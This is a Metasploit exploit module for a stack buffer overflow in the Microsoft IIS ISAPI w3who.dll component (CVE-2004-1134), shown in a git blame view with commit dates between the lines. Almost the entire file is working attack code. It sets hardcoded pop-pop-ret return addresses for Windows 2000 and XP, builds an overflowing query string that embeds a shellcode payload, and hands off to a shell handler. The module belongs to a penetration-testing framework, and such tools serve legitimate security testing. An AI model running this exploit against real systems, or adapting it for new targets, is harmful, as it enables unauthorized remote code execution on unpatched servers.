Files
metasploit-gs/modules/exploits/windows/isapi/w3who_query.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

117 lines
3.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
2010-07-07 17:38:59 +00:00
# XXX: Needs custom body check. HttpFingerprint = { :pattern => [ // ] }
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
def initialize(info = {})
2010-02-15 00:48:03 +00:00
super(update_info(info,
2006-09-13 06:28:35 +00:00
'Name' => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',
2005-12-26 14:34:22 +00:00
'Description' => %q{
This module exploits a stack buffer overflow in the w3who.dll ISAPI
2005-12-26 14:34:22 +00:00
application. This vulnerability was discovered Nicolas
Gregoire and this code has been successfully tested against
Windows 2000 and Windows XP (SP2). When exploiting Windows
XP, the payload must call RevertToSelf before it will be
able to spawn a command shell.
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
},
'Author' => [ 'hdm' ],
2006-01-21 22:10:20 +00:00
'License' => MSF_LICENSE,
2005-12-26 14:34:22 +00:00
'References' =>
[
[ 'CVE', '2004-1134' ],
[ 'OSVDB', '12258' ],
[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html' ],
[ 'BID', '11820' ]
2005-12-26 14:34:22 +00:00
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 632,
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
'MinNops' => 128,
'StackAdjustment' => -3500,
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
},
'Platform' => 'win',
2010-02-15 00:48:03 +00:00
'Targets' =>
2005-12-26 14:34:22 +00:00
[
2010-02-15 00:48:03 +00:00
['Automatic Detection', { }],
2005-12-26 14:34:22 +00:00
['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [ 48, 0x01169f4a ] }], # pop, pop, ret magic
['Windows 2000 RESKIT DLL [Windows XP]', { 'Rets' => [ 748, 0x10019f4a ] }], # pop, pop, ret magic
],
2010-02-15 00:48:03 +00:00
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2004-12-06'))
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('URL', [ true, "The path to w3who.dll", "/scripts/w3who.dll" ]),
])
2005-12-26 14:34:22 +00:00
end
2013-08-30 16:28:54 -05:00
def auto_target
2013-08-30 16:28:54 -05:00
res = send_request_raw(
{
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['URL'])
}, -1)
2010-07-07 17:38:59 +00:00
http_fingerprint({ :response => res }) # XXX: Needs custom body match
2013-08-30 16:28:54 -05:00
# Was a vulnerable system detected?
t = nil
2005-12-26 14:34:22 +00:00
if (res and res.body =~ /Access Token/)
case res.headers['Server']
when /5\.1/
t = targets[2]
else
t = targets[1]
end
2005-12-26 14:34:22 +00:00
end
t
end
2013-08-30 16:28:54 -05:00
def check
if auto_target
2014-01-20 14:26:10 -06:00
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
2005-12-26 14:34:22 +00:00
end
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
def exploit
2013-08-30 16:28:54 -05:00
if (target.name =~ /Automatic/)
mytarget = auto_target
else
mytarget = target
end
2013-08-30 16:28:54 -05:00
if not mytarget
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoTarget, "No valid target found")
2010-02-15 00:48:03 +00:00
end
2013-08-30 16:28:54 -05:00
buf = rand_text_english(8192, payload_badchars)
2010-02-15 00:48:03 +00:00
buf[mytarget['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"
buf[mytarget['Rets'][0] - 0, 4] = [ mytarget['Rets'][1] ].pack('V')
buf[mytarget['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')
buf[mytarget['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
print_status("Sending request...")
2006-12-28 23:42:36 +00:00
r = send_request_raw({
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['URL']),
2006-12-28 23:42:36 +00:00
'query' => buf
}, 5)
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
handler
end
end